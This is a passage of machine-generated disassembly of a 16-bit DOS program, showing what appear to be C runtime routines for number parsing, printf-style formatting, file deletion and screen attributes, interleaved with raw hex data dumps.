jmp 08DDh
l0800_0CAF:
inc si
cmp si,[bp-0Ah]
jge 0CC1h
l0800_0CB5:
test byte ptr [bp-1h],1h
jnz 0CC1h
l0800_0CBB:
mov al,0h
stosb
inc word ptr [bp-4h]
;; fn0800_0CC1: 0800:0CC1
;; Called from:
;; 0800:092B (in fn0800_08AC)
;; 0800:0954 (in fn0800_08AC)
;; 0800:0957 (in fn0800_08AC)
;; 0800:097C (in fn0800_08AC)
;; 0800:0981 (in fn0800_08AC)
;; 0800:0981 (in fn0800_08AC)
;; 0800:0981 (in fn0800_08AC)
;; 0800:098A (in fn0800_08AC)
;; 0800:0A39 (in fn0800_08AC)
;; 0800:0AB3 (in fn0800_08AC)
;; 0800:0BC3 (in fn0800_08AC)
;; 0800:0CB3 (in fn0800_08AC)
;; 0800:0CB9 (in fn0800_08AC)
;; 0800:0CBE (in fn0800_08AC)
;; 0800:0D08 (in fn0800_0CE0)
fn0800_0CC1 proc
push word ptr [bp+0Ah]
push word ptr [bp+8h]
mov ax,0FFFFh
push ax
call word ptr [bp+6h]
add sp,6h
cmp word ptr [bp-4h],1h
sbb word ptr [bp-4h],0h
;; fn0800_0CD9: 0800:0CD9
;; Called from:
;; 0800:0A36 (in fn0800_08AC)
;; 0800:0B1D (in fn0800_08AC)
;; 0800:0C28 (in fn0800_08AC)
;; 0800:0CD5 (in fn0800_0CC1)
fn0800_0CD9 proc
pop es
mov ax,[bp-4h]
jmp 0D6Eh
;; fn0800_0CE0: 0800:0CE0
;; Called from:
;; 0800:0A3F (in fn0800_0A3F)
;; 0800:0B23 (in fn0800_0B23)
fn0800_0CE0 proc
inc word ptr [bp-6h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
or ax,ax
jle 0D05h
l0800_0CF2:
or al,al
js 0CFFh
l0800_0CF6:
xchg bx,ax
cmp byte ptr [bx+9A18h],1h
xchg bx,ax
jz 0CE0h
l0800_0CFF:
pop cx
add cx,3h
jmp cx
l0800_0D05:
jz 0CFFh
l0800_0D07:
pop cx
jmp 0CC1h
0800:0D0A 2B D2 B9 04 00 FF +.....
0800:0D10 4E F6 7C 49 52 51 FF 46 FA FF 76 0A FF 76 08 FF N.|IRQ.F..v..v..
0800:0D20 56 04 59 59 59 5A 0B C0 7E 35 FE C9 7C 31 8A E8 V.YYYZ..~5..|1..
0800:0D30 80 ED 30 72 2A 80 FD 0A 72 17 80 ED 11 72 20 80 ..0r*...r....r .
0800:0D40 FD 06 72 0A 80 ED 20 72 16 80 FD 06 73 11 80 C5 ..r... r....s...
0800:0D50 0A D1 E2 D1 E2 D1 E2 D1 E2 02 D5 EB B2 2B C0 80 .............+..
0800:0D60 F9 04 74 06 59 83 C1 03 FF E1 59 E9 53 FF ..t.Y.....Y.S.
l0800_0D6E:
pop di
pop si
mov sp,bp
pop bp
ret
l0800_0D74 dw 0x0CD9
l0800_0D76 dw 0x0CD9
l0800_0D78 dw 0x0CD9
l0800_0D7A dw 0x0986
l0800_0D7C dw 0x098D
l0800_0D7E dw 0x0993
l0800_0D80 dw 0x0B84
l0800_0D82 dw 0x09D7
l0800_0D84 dw 0x09D7
l0800_0D86 dw 0x09E1
l0800_0D88 dw 0x0AB6
l0800_0D8A dw 0x09A7
l0800_0D8C dw 0x09B3
l0800_0D8E dw 0x09AD
l0800_0D90 dw 0x09D2
l0800_0D92 dw 0x0B20
l0800_0D94 dw 0x0BC6
l0800_0D96 dw 0x09C5
l0800_0D98 dw 0x09DC
l0800_0D9A dw 0x0A3C
l0800_0D9C dw 0x09B9
l0800_0D9E dw 0x09BF
;; fn0800_0DA0: 0800:0DA0
;; Called from:
;; 0800:0EBD (in fn0800_0DCB)
;; 0800:0EE7 (in fn0800_0DCB)
;; 0800:0F17 (in fn0800_0DCB)
fn0800_0DA0 proc
push bx
sub bl,30h
jc 0DC8h
l0800_0DA6:
cmp bl,9h
jbe 0DBDh
l0800_0DAB:
cmp bl,2Ah
ja 0DB5h
l0800_0DB0:
sub bl,7h
jmp 0DB8h
l0800_0DB5:
sub bl,27h
l0800_0DB8:
cmp bl,9h
jbe 0DC8h
l0800_0DBD:
cmp bl,cl
jnc 0DC8h
l0800_0DC1:
inc sp
inc sp
clc
mov bh,0h
jmp 0DCAh
l0800_0DC8:
pop bx
stc
l0800_0DCA:
ret
;; fn0800_0DCB: 0800:0DCB
;; Called from:
;; 0800:0A10 (in fn0800_08AC)
fn0800_0DCB proc
push bp
mov bp,sp
sub sp,6h
push si
push di
mov byte ptr [bp-1h],0h
mov word ptr [bp-4h],0h
mov word ptr [bp-6h],1h
l0800_0DE1:
inc word ptr [bp-4h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
or ax,ax
jl 0E64h
l0800_0DF3:
cbw
xchg bx,ax
test bl,80h
jnz 0E02h
l0800_0DFA:
mov di,96E3h
test byte ptr [bx+di],1h
jnz 0DE1h
l0800_0E02:
xchg bx,ax
dec word ptr [bp+0Eh]
jl 0E6Bh
l0800_0E08:
cmp al,2Bh
jz 0E13h
l0800_0E0C:
cmp al,2Dh
jnz 0E2Ah
l0800_0E10:
inc byte ptr [bp-1h]
l0800_0E13:
dec word ptr [bp+0Eh]
jl 0E6Bh
l0800_0E18:
inc word ptr [bp-4h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
or ax,ax
jl 0E64h
l0800_0E2A:
sub si,si
mov di,si
mov cx,[bp+0Ch]
jcxz 0E89h
l0800_0E33:
cmp cx,24h
ja 0E6Bh
l0800_0E38:
cmp cl,2h
jc 0E6Bh
l0800_0E3D:
cmp al,30h
jnz 0EB9h
l0800_0E41:
cmp cl,10h
jnz 0EB7h
l0800_0E46:
dec word ptr [bp+0Eh]
jl 0E86h
l0800_0E4B:
inc word ptr [bp-4h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
cmp al,78h
jz 0EB7h
l0800_0E5D:
cmp al,58h
jz 0EB7h
l0800_0E61:
jmp 0EE3h
l0800_0E64:
mov word ptr [bp-6h],0FFFFh
jmp 0E70h
l0800_0E6B:
mov word ptr [bp-6h],0h
l0800_0E70:
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push ax
call word ptr [bp+6h]
add sp,6h
dec word ptr [bp-4h]
sub ax,ax
cwd
jmp 0F3Dh
l0800_0E86:
jmp 0F2Dh
l0800_0E89:
cmp al,30h
mov word ptr [bp+0Ch],0Ah
jnz 0EB9h
l0800_0E92:
dec word ptr [bp+0Eh]
jl 0E86h
l0800_0E97:
inc word ptr [bp-4h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
mov word ptr [bp+0Ch],8h
cmp al,78h
jz 0EB2h
l0800_0EAE:
cmp al,58h
jnz 0EE3h
l0800_0EB2:
mov word ptr [bp+0Ch],10h
l0800_0EB7:
jmp 0ED0h
l0800_0EB9:
mov cx,[bp+0Ch]
xchg bx,ax
call 0DA0h
xchg bx,ax
jc 0E6Bh
l0800_0EC3:
xchg si,ax
jmp 0ED0h
l0800_0EC6:
xchg si,ax
mul word ptr [bp+0Ch]
add si,ax
adc di,dx
jnz 0F00h
l0800_0ED0:
dec word ptr [bp+0Eh]
jl 0F2Dh
l0800_0ED5:
inc word ptr [bp-4h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
l0800_0EE3:
mov cx,[bp+0Ch]
xchg bx,ax
call 0DA0h
xchg bx,ax
jnc 0EC6h
l0800_0EED:
jmp 0F1Dh
l0800_0EEF:
xchg si,ax
mul cx
xchg di,ax
xchg dx,cx
mul dx
add si,di
adc ax,cx
xchg di,ax
adc dl,dh
jnz 0F51h
l0800_0F00:
dec word ptr [bp+0Eh]
jl 0F2Dh
l0800_0F05:
inc word ptr [bp-4h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
mov cx,[bp+0Ch]
xchg bx,ax
call 0DA0h
xchg bx,ax
jnc 0EEFh
l0800_0F1D:
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push ax
call word ptr [bp+6h]
add sp,6h
dec word ptr [bp-4h]
l0800_0F2D:
mov dx,di
xchg si,ax
cmp byte ptr [bp-1h],0h
jz 0F3Dh
l0800_0F36:
neg dx
neg ax
sbb dx,0h
l0800_0F3D:
les di,[bp+10h]
mov bx,[bp-4h]
add es:[di],bx
les di,[bp+14h]
mov bx,[bp-6h]
mov es:[di],bx
jmp 0F67h
l0800_0F51:
mov ax,0FFFFh
mov dx,7FFFh
add al,[bp-1h]
adc ah,0h
adc dx,0h
mov word ptr [bp-6h],2h
jmp 0F3Dh
l0800_0F67:
pop di
pop si
mov sp,bp
pop bp
ret
;; fn0800_0F6D: 0800:0F6D
;; Called from:
;; 0800:2205 (in fn0800_21F9)
fn0800_0F6D proc
push bp
mov bp,sp
push si
mov bx,es
les si,[bp+6h]
mov es:[si],bx
mov ax,[bp+4h]
mov es:[si+2h],ax
mov es:[si+4h],ss
mov es:[si+6h],ds
mov es,bx
pop si
pop bp
retf
0800:0F8D 55 8B EC U..
0800:0F90 56 B4 2B C4 76 06 26 8B 0C 26 8B 54 02 CD 21 5E V.+.v.&..&.T..!^
0800:0FA0 5D CB 55 8B EC 56 B4 2D C4 76 06 26 8B 0C 26 8B ].U..V.-.v.&..&.
0800:0FB0 54 02 CD 21 5E 5D CB B9 05 00 3B 0E 80 99 73 38 T..!^]....;...s8
0800:0FC0 8B D9 D1 E3 C7 87 82 99 00 00 8B C1 BA 14 00 F7 ................
0800:0FD0 EA 8B D8 C6 87 F4 97 FF 8B C1 BA 14 00 F7 EA 05 ................
0800:0FE0 F0 97 50 8B C1 BA 14 00 F7 EA 8B D8 58 89 87 02 ..P.........X...
0800:0FF0 98 41 3B 0E 80 99 72 C8 A0 F4 97 98 50 90 0E E8 .A;...r.....P...
0800:1000 F6 F5 59 0B C0 75 06 81 26 F2 97 FF FD B8 00 02 ..Y..u..&.......
0800:1010 50 F7 06 F2 97 00 02 74 05 B8 01 00 EB 02 33 C0 P......t......3.
0800:1020 50 33 C0 33 D2 50 52 1E B8 F0 97 50 90 0E E8 59 P3.3.PR....P...Y
0800:1030 2C 83 C4 0C A0 08 98 98 50 90 0E E8 BA F5 59 0B ,.......P.....Y.
0800:1040 C0 75 06 81 26 06 98 FF FD B8 00 02 50 F7 06 06 .u..&.......P...
0800:1050 98 00 02 74 05 B8 02 00 EB 02 33 C0 50 33 C0 33 ...t......3.P3.3
0800:1060 D2 50 52 1E B8 04 98 50 90 0E E8 1D 2C 83 C4 0C .PR....P....,...
0800:1070 C3 55 8B EC 83 EC 08 16 8D 46 F8 50 16 8D 46 FC .U.......F.P..F.
0800:1080 50 C4 5E 06 26 FF 77 02 26 FF 37 90 0E E8 F9 2E P.^.&.w.&.7.....
0800:1090 83 C4 0C 16 8D 46 FC 50 90 0E E8 F0 FE 59 59 16 .....F.P.....YY.
0800:10A0 8D 46 F8 50 90 0E E8 F9 FE 59 59 33 C0 8B E5 5D .F.P.....YY3...]
0800:10B0 CB .
;; fn0800_10B1: 0800:10B1
;; Called from:
;; 1197:09AF (in fn1197_09AC)
;; 2141:0254 (in fn2141_020E)
fn0800_10B1 proc
push bp
mov bp,sp
sub sp,0Ch
push ss
lea ax,[bp-4h]
push ax
nop
push cs
call 0410h
pop cx
pop cx
push ss
lea ax,[bp-8h]
push ax
nop
push cs
call 0423h
pop cx
pop cx
push ss
lea ax,[bp-8h]
push ax
push ss
lea ax,[bp-4h]
push ax
nop
push cs
call 3E5Fh
add sp,8h
mov [bp-0Ah],dx
mov [bp-0Ch],ax
mov ax,[bp+6h]
or ax,[bp+8h]
jz 10FFh
l0800_10EF:
les bx,[bp+6h]
mov ax,[bp-0Ah]
mov dx,[bp-0Ch]
mov es:[bx+2h],ax
mov es:[bx],dx
l0800_10FF:
mov dx,[bp-0Ah]
mov ax,[bp-0Ch]
mov sp,bp
pop bp
retf
;; fn0800_1109: 0800:1109
;; Called from:
;; 1D10:0FC6 (in fn1D10_0FB3)
;; 1ED0:0017 (in fn1ED0_0009)
fn0800_1109 proc
push bp
mov bp,sp
mov ax,1h
push ax
xor ax,ax
xor dx,dx
push ax
push dx
push word ptr [bp+6h]
nop
push cs
call 06ABh
add sp,8h
pop bp
retf
;; fn0800_1123: 0800:1123
;; Called from:
;; 0800:2BF4 (in fn0800_2B50)
fn0800_1123 proc
push bp
mov bp,sp
push ds
mov ah,41h
lds dx,[bp+6h]
int 21h
pop ds
jc 1135h
l0800_1131:
xor ax,ax
jmp 1139h
l0800_1135:
push ax
call 05ADh
l0800_1139:
pop bp
retf
;; fn0800_113B: 0800:113B
;; Called from:
;; 0800:13AA (in fn0800_1153)
;; 0800:13B3 (in fn0800_1153)
fn0800_113B proc
mov al,dh
call 1142h
mov al,dl
;; fn0800_1142: 0800:1142
;; Called from:
;; 0800:113D (in fn0800_113B)
;; 0800:1140 (in fn0800_113B)
fn0800_1142 proc
aam 10h
xchg al,ah
call 114Bh
xchg al,ah
;; fn0800_114B: 0800:114B
;; Called from:
;; 0800:1146 (in fn0800_1142)
;; 0800:1149 (in fn0800_1142)
fn0800_114B proc
add al,90h
daa
adc al,40h
daa
stosb
ret
;; fn0800_1153: 0800:1153
;; Called from:
;; 0800:187E (in fn0800_1867)
;; 0800:37E9 (in fn0800_37D3)
fn0800_1153 proc
push bp
mov bp,sp
sub sp,96h
push si
push di
mov word ptr [bp-12h],0h
mov word ptr [bp-14h],50h
mov word ptr [bp-16h],0h
jmp 11B7h
;; fn0800_116D: 0800:116D
;; Called from:
;; 0800:1424 (in fn0800_1153)
;; 0800:1484 (in fn0800_1153)
;; 0800:14B6 (in fn0800_1153)
fn0800_116D proc
push di
mov cx,0FFFFh
xor al,al
l0800_1173:
repne scasb
l0800_1175:
not cx
dec cx
pop di
ret
;; fn0800_117A: 0800:117A
;; Called from:
;; 0800:150A (in fn0800_1153)
;; 0800:151B (in fn0800_1153)
;; 0800:1521 (in fn0800_1153)
;; 0800:1540 (in fn0800_1153)
;; 0800:154B (in fn0800_1153)
;; 0800:156E (in fn0800_1153)
;; 0800:15BD (in fn0800_1153)
fn0800_117A proc
mov ss:[di],al
inc di
dec byte ptr [bp-14h]
jnz 11B6h
;; fn0800_1183: 0800:1183
;; Called from:
;; 0800:1181 (in fn0800_117A)
;; 0800:11D9 (in fn0800_1153)
;; 0800:1561 (in fn0800_1153)
;; 0800:15CC (in fn0800_1153)
fn0800_1183 proc
push bx
push cx
push dx
push es
lea ax,[bp+0FF6Ah]
sub di,ax
push ss
lea ax,[bp+0FF6Ah]
push ax
push di
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
call word ptr [bp+0Eh]
or ax,ax
jnz 11A6h
l0800_11A1:
mov word ptr [bp-16h],1h
l0800_11A6:
mov word ptr [bp-14h],50h
add [bp-12h],di
lea di,[bp+0FF6Ah]
pop es
pop dx
pop cx
pop bx
l0800_11B6:
ret
l0800_11B7:
push es
cld
lea di,[bp+0FF6Ah]
mov [bp-4h],di
l0800_11C0:
mov di,[bp-4h]
l0800_11C3:
les si,[bp+6h]
l0800_11C6:
lodsb
or al,al
jz 11DEh
l0800_11CC:
cmp al,25h
jz 11E1h
l0800_11D0:
mov ss:[di],al
inc di
dec byte ptr [bp-14h]
jg 11C6h
l0800_11D9:
call 1183h
jmp 11C6h
l0800_11DE:
jmp 15C6h
l0800_11E1:
mov [bp-10h],si
lodsb
cmp al,25h
jz 11D0h
l0800_11EA:
mov [bp-4h],di
xor cx,cx
mov [bp-0Eh],cx
mov word ptr [bp-2h],20h
mov [bp-0Bh],cl
mov word ptr [bp-8h],0FFFFh
mov word ptr [bp-0Ah],0FFFFh
jmp 1208h
l0800_1206:
lodsb
l0800_1208:
xor ah,ah
mov dx,ax
mov bx,ax
sub bl,20h
cmp bl,60h
jnc 1229h
l0800_1216:
mov bl,[bx+9A9Fh]
cmp bx,17h
jbe 1222h
l0800_121F:
jmp 15B2h
l0800_1222:
shl bx,1h
jmp word ptr cs:[bx+15E6h]
l0800_1229:
jmp 15B2h
l0800_122C:
cmp ch,0h
ja 1229h
l0800_1231:
or word ptr [bp-2h],1h
jmp 1206h
l0800_1237:
cmp ch,0h
ja 1229h
l0800_123C:
or word ptr [bp-2h],2h
jmp 1206h
l0800_1242:
cmp ch,0h
ja 1229h
l0800_1247:
cmp byte ptr [bp-0Bh],2Bh
jz 1250h
l0800_124D:
mov [bp-0Bh],dl
l0800_1250:
jmp 1206h
l0800_1252:
and word ptr [bp-2h],0DFh
jmp 125Ch
l0800_1258:
or word ptr [bp-2h],20h
l0800_125C:
mov ch,5h
jmp 1206h
l0800_1260:
cmp ch,0h
ja 12B2h
l0800_1265:
test word ptr [bp-2h],2h
jnz 1295h
l0800_126C:
or word ptr [bp-2h],8h
mov ch,1h
jmp 1206h
l0800_1274:
jmp 15B2h
l0800_1277:
mov di,[bp+4h]
mov ax,ss:[di]
add word ptr [bp+4h],2h
cmp ch,2h
jnc 1298h
l0800_1286:
or ax,ax
jns 1290h
l0800_128A:
neg ax
or word ptr [bp-2h],2h
l0800_1290:
mov [bp-8h],ax
mov ch,3h
l0800_1295:
jmp 1206h
l0800_1298:
cmp ch,4h
jnz 1274h
l0800_129D:
mov [bp-0Ah],ax
inc ch
jmp 1206h
l0800_12A5:
cmp ch,4h
jnc 1274h
l0800_12AA:
mov ch,4h
inc word ptr [bp-0Ah]
jmp 1206h
l0800_12B2:
xchg dx,ax
sub al,30h
cbw
cmp ch,2h
ja 12D4h
l0800_12BB:
mov ch,2h
xchg [bp-8h],ax
or ax,ax
jl 1295h
l0800_12C4:
shl ax,1h
mov dx,ax
shl ax,1h
shl ax,1h
add ax,dx
add [bp-8h],ax
jmp 1206h
l0800_12D4:
cmp ch,4h
jnz 1274h
l0800_12D9:
xchg [bp-0Ah],ax
or ax,ax
jz 1295h
l0800_12E0:
shl ax,1h
mov dx,ax
shl ax,1h
shl ax,1h
add ax,dx
add [bp-0Ah],ax
jmp 1206h
l0800_12F0:
or word ptr [bp-2h],10h
jmp 125Ch
l0800_12F7:
or word ptr [bp-2h],100h
l0800_12FC:
and word ptr [bp-2h],0EFh
jmp 125Ch
l0800_1303:
mov bh,8h
jmp 1311h
l0800_1307:
mov bh,0Ah
jmp 1315h
l0800_130B:
mov bh,10h
mov bl,0E9h
add bl,dl
l0800_1311:
mov byte ptr [bp-0Bh],0h
l0800_1315:
mov [bp-5h],dl
xor dx,dx
mov [bp-6h],dl
mov di,[bp+4h]
mov ax,ss:[di]
jmp 1335h
l0800_1325:
mov bh,0Ah
mov byte ptr [bp-6h],1h
mov [bp-5h],dl
mov di,[bp+4h]
mov ax,ss:[di]
cwd
l0800_1335:
inc di
inc di
mov [bp+6h],si
test word ptr [bp-2h],10h
jz 1346h
l0800_1341:
mov dx,ss:[di]
inc di
inc di
l0800_1346:
mov [bp+4h],di
lea di,[bp-45h]
or ax,ax
jnz 1362h
l0800_1350:
or dx,dx
jnz 1362h
l0800_1354:
cmp word ptr [bp-0Ah],0h
jnz 1366h
l0800_135A:
mov byte ptr ss:[di],0h
mov ax,di
jmp 1376h
l0800_1362:
or word ptr [bp-2h],4h
l0800_1366:
push dx
push ax
push ss
push di
mov al,bh
cbw
push ax
mov al,[bp-6h]
push ax
push bx
call 0609h
l0800_1376:
push ss
pop es
mov dx,[bp-0Ah]
or dx,dx
jge 1382h
l0800_137F:
jmp 1476h
l0800_1382:
jmp 1484h
l0800_1385:
mov [bp-5h],dl
mov [bp+6h],si
lea di,[bp-46h]
mov bx,[bp+4h]
push word ptr ss:[bx]
inc bx
inc bx
mov [bp+4h],bx
test word ptr [bp-2h],20h
jz 13B0h
l0800_13A0:
mov dx,ss:[bx]
inc bx
inc bx
mov [bp+4h],bx
push ss
pop es
call 113Bh
mov al,3Ah
stosb
l0800_13B0:
push ss
pop es
pop dx
call 113Bh
mov byte ptr ss:[di],0h
mov byte ptr [bp-6h],0h
and word ptr [bp-2h],0FBh
lea cx,[bp-46h]
sub di,cx
xchg di,cx
mov dx,[bp-0Ah]
cmp dx,cx
jg 13D2h
l0800_13D0:
mov dx,cx
l0800_13D2:
jmp 1476h
l0800_13D5:
mov [bp+6h],si
mov [bp-5h],dl
mov di,[bp+4h]
mov ax,ss:[di]
add word ptr [bp+4h],2h
push ss
pop es
lea di,[bp-45h]
xor ah,ah
mov ss:[di],ax
mov cx,1h
jmp 14B9h
l0800_13F5:
mov [bp+6h],si
mov [bp-5h],dl
mov di,[bp+4h]
test word ptr [bp-2h],20h
jnz 1412h
l0800_1405:
mov di,ss:[di]
add word ptr [bp+4h],2h
push ds
pop es
or di,di
jmp 141Dh
l0800_1412:
les di,ss:[di]
add word ptr [bp+4h],4h
mov ax,es
or ax,di
l0800_141D:
jnz 1424h
l0800_141F:
push ds
pop es
mov di,9A98h
l0800_1424:
call 116Dh
cmp cx,[bp-0Ah]
jbe 142Fh
l0800_142C:
mov cx,[bp-0Ah]
l0800_142F:
jmp 14B9h
l0800_1432:
mov [bp+6h],si
mov [bp-5h],dl
mov di,[bp+4h]
mov cx,[bp-0Ah]
or cx,cx
jge 1445h
l0800_1442:
mov cx,6h
l0800_1445:
push ss
push di
push cx
push ss
lea bx,[bp-45h]
push bx
push dx
mov ax,1h
and ax,[bp-2h]
push ax
mov ax,[bp-2h]
test ax,100h
jz 1466h
l0800_145D:
mov ax,8h
add word ptr [bp+4h],0Ah
jmp 146Dh
l0800_1466:
add word ptr [bp+4h],8h
mov ax,6h
l0800_146D:
push ax
call 2456h
push ss
pop es
lea di,[bp-45h]
l0800_1476:
test word ptr [bp-2h],8h
jz 1495h
l0800_147D:
mov dx,[bp-8h]
or dx,dx
jle 1495h
l0800_1484:
call 116Dh
cmp byte ptr es:[di],2Dh
jnz 148Eh
l0800_148D:
dec cx
l0800_148E:
sub dx,cx
jle 1495h
l0800_1492:
mov [bp-0Eh],dx
l0800_1495:
cmp byte ptr es:[di],2Dh
jz 14A6h
l0800_149B:
mov al,[bp-0Bh]
or al,al
jz 14B6h
l0800_14A2:
dec di
mov es:[di],al
l0800_14A6:
cmp word ptr [bp-0Eh],0h
jle 14B6h
l0800_14AC:
mov cx,[bp-0Ah]
or cx,cx
jge 14B6h
l0800_14B3:
dec word ptr [bp-0Eh]
l0800_14B6:
call 116Dh
l0800_14B9:
mov si,di
mov di,[bp-4h]
mov bx,[bp-8h]
mov ax,5h
and ax,[bp-2h]
cmp ax,5h
jnz 14DFh
l0800_14CC:
mov ah,[bp-5h]
cmp ah,6Fh
jnz 14E1h
l0800_14D4:
cmp word ptr [bp-0Eh],0h
jg 14DFh
l0800_14DA:
mov word ptr [bp-0Eh],1h
l0800_14DF:
jmp 14FCh
l0800_14E1:
cmp ah,78h
jz 14EBh
l0800_14E6:
cmp ah,58h
jnz 14FCh
l0800_14EB:
or word ptr [bp-2h],40h
dec bx
dec bx
sub word ptr [bp-0Eh],2h
jge 14FCh
l0800_14F7:
mov word ptr [bp-0Eh],0h
l0800_14FC:
add cx,[bp-0Eh]
test word ptr [bp-2h],2h
jnz 1512h
l0800_1506:
jmp 150Eh
l0800_1508:
mov al,20h
call 117Ah
dec bx
l0800_150E:
cmp bx,cx
jg 1508h
l0800_1512:
test word ptr [bp-2h],40h
jz 1524h
l0800_1519:
mov al,30h
call 117Ah
mov al,[bp-5h]
call 117Ah
l0800_1524:
mov dx,[bp-0Eh]
or dx,dx
jle 1552h
l0800_152B:
sub cx,dx
sub bx,dx
mov al,es:[si]
cmp al,2Dh
jz 153Eh
l0800_1536:
cmp al,20h
jz 153Eh
l0800_153A:
cmp al,2Bh
jnz 1545h
l0800_153E:
lodsb
call 117Ah
dec cx
dec bx
l0800_1545:
xchg dx,cx
jcxz 1550h
l0800_1549:
mov al,30h
call 117Ah
loop 1549h
l0800_1550:
xchg dx,cx
l0800_1552:
jcxz 1566h
l0800_1554:
sub bx,cx
l0800_1556:
lodsb
mov ss:[di],al
inc di
dec byte ptr [bp-14h]
jg 1564h
l0800_1561:
call 1183h
l0800_1564:
loop 1556h
l0800_1566:
or bx,bx
jle 1573h
l0800_156A:
mov cx,bx
l0800_156C:
mov al,20h
call 117Ah
loop 156Ch
l0800_1573:
jmp 11C3h
l0800_1576:
mov [bp+6h],si
mov di,[bp+4h]
test word ptr [bp-2h],20h
jnz 158Eh
l0800_1583:
mov di,ss:[di]
add word ptr [bp+4h],2h
push ds
pop es
jmp 1595h
l0800_158E:
les di,ss:[di]
add word ptr [bp+4h],4h
l0800_1595:
mov ax,50h
sub al,[bp-14h]
add ax,[bp-12h]
mov es:[di],ax
test word ptr [bp-2h],10h
jz 15AFh
l0800_15A8:
inc di
inc di
mov word ptr es:[di],0h
l0800_15AF:
jmp 11C0h
l0800_15B2:
mov si,[bp-10h]
mov es,[bp+8h]
mov di,[bp-4h]
mov al,25h
l0800_15BD:
call 117Ah
lodsb
or al,al
jnz 15BDh
l0800_15C6:
cmp byte ptr [bp-14h],50h
jge 15CFh
l0800_15CC:
call 1183h
l0800_15CF:
pop es
cmp word ptr [bp-16h],0h
jz 15DBh
l0800_15D6:
mov ax,0FFFFh
jmp 15DEh
l0800_15DB:
mov ax,[bp-12h]
l0800_15DE:
pop di
pop si
mov sp,bp
pop bp
ret 0Ch
l0800_15E6 dw 0x1242
l0800_15E8 dw 0x122C
l0800_15EA dw 0x1277
l0800_15EC dw 0x1237
l0800_15EE dw 0x12A5
l0800_15F0 dw 0x12B2
l0800_15F2 dw 0x12F0
l0800_15F4 dw 0x12F7
l0800_15F6 dw 0x12FC
l0800_15F8 dw 0x1260
l0800_15FA dw 0x1325
l0800_15FC dw 0x1303
l0800_15FE dw 0x1307
l0800_1600 dw 0x130B
l0800_1602 dw 0x1385
l0800_1604 dw 0x1432
l0800_1606 dw 0x13D5
l0800_1608 dw 0x13F5
l0800_160A dw 0x1576
l0800_160C dw 0x15B2
l0800_160E dw 0x15B2
l0800_1610 dw 0x15B2
l0800_1612 dw 0x1252
l0800_1614 dw 0x1258
0800:1616 55 8B EC A0 0A 9B B4 00 8B 56 U........V
0800:1620 04 4A F7 EA 50 A1 0D 9B 5A 03 C2 8B 56 06 4A 03 .J..P...Z...V.J.
0800:1630 C2 D1 E0 8B 16 0F 9B 5D C2 04 00 55 8B EC 83 EC .......]...U....
0800:1640 02 56 57 A0 0C 9B B4 00 89 46 FE 1E 8B 4E 04 E3 .VW......F...N..
0800:1650 5A C4 7E 0A C5 76 06 FC 3B F7 73 0A 8B C1 48 D1 Z.~..v..;.s...H.
0800:1660 E0 03 F0 03 F8 FD 83 7E FE 00 75 04 F3 A5 EB 3B .......~..u....;
0800:1670 BA DA 03 8C C0 8C DB 3B C3 74 11 FA EC D0 C8 72 .......;.t.....r
0800:1680 FB EC D0 C8 73 FB A5 FB E2 F1 EB 1F FA EC D0 C8 ....s...........
0800:1690 72 FB EC D0 C8 73 FB AD FB 8B D8 EC D0 C8 72 FB r....s........r.
0800:16A0 EC D0 C8 73 FB 8B C3 AB FB E2 E1 FC 1F 5F 5E 8B ...s........._^.
0800:16B0 E5 5D C2 0A 00 .]...
;; fn0800_16B5: 0800:16B5
;; Called from:
;; 0800:0708 (in fn0800_06D4)
fn0800_16B5 proc
push bp
mov bp,sp
push si
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
nop
push cs
call 3E0Fh
pop cx
pop cx
mov si,ax
inc ax
push ax
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push word ptr [bp+6h]
nop
push cs
call 350Eh
add sp,0Ah
mov dx,[bp+8h]
mov ax,[bp+6h]
add ax,si
pop si
pop bp
retf
;; fn0800_16E9: 0800:16E9
;; Called from:
;; 268D:06D1 (in fn268D_06AA)
fn0800_16E9 proc
push bp
mov bp,sp
mov al,[9B06h]
and al,70h
mov dl,[bp+6h]
and dl,8Fh
or al,dl
mov [9B06h],al
pop bp
retf
0800:16FE 55 8B U.
0800:1700 EC A0 06 9B 24 8F 8A 56 06 B1 04 D2 E2 80 E2 7F ....$..V........
0800:1710 0A C2 A2 06 9B 5D CB 55 8B EC 8A 46 06 A2 06 9B .....].U...F....
0800:1720 5D CB 80 0E 06 9B 08 CB 80 26 06 9B F7 CB A0 07 ]........&......
0800:1730 9B A2 06 9B CB 55 8B EC 83 EC 08 56 8B 76 08 C6 .....U.....V.v..
0800:1740 46 FB 00 E8 47 12 B4 00 89 46 FE E8 3F 12 B1 08 F...G....F..?...
0800:1750 D3 E8 B4 00 89 46 FC E9 DC 00 C4 5E 0A FF 46 0A .....F.....^..F.
0800:1760 26 8A 07 88 46 FB B4 00 2D 07 00 8B D8 83 FB 06 &...F...-.......
0800:1770 77 2E D1 E3 2E FF A7 59 18 B4 0E B0 07 E8 3E 01 w......Y......>.
0800:1780 EB 76 A0 02 9B B4 00 3B 46 FE 7D 6C FF 4E FE EB .v.....;F.}l.N..
0800:1790 67 A0 02 9B B4 00 89 46 FE EB 5D FF 46 FC EB 58 g......F..].F..X
0800:17A0 A0 0B 9B B4 00 0B C0 75 2E 83 3E 11 9B 00 74 27 .......u..>...t'
0800:17B0 8A 26 06 9B 8A 46 FB 89 46 F8 8B 46 FE 40 50 8B .&...F..F..F.@P.
0800:17C0 46 FC 40 50 E8 4F FE 52 50 16 8D 46 F8 50 B8 01 F.@P.O.RP..F.P..
0800:17D0 00 50 E8 66 FE EB 1E 8A 56 FE 8A 76 FC B4 02 B7 .P.f....V..v....
0800:17E0 00 E8 DA 00 8A 1E 06 9B 8A 46 FB B4 09 B7 00 B9 .........F......
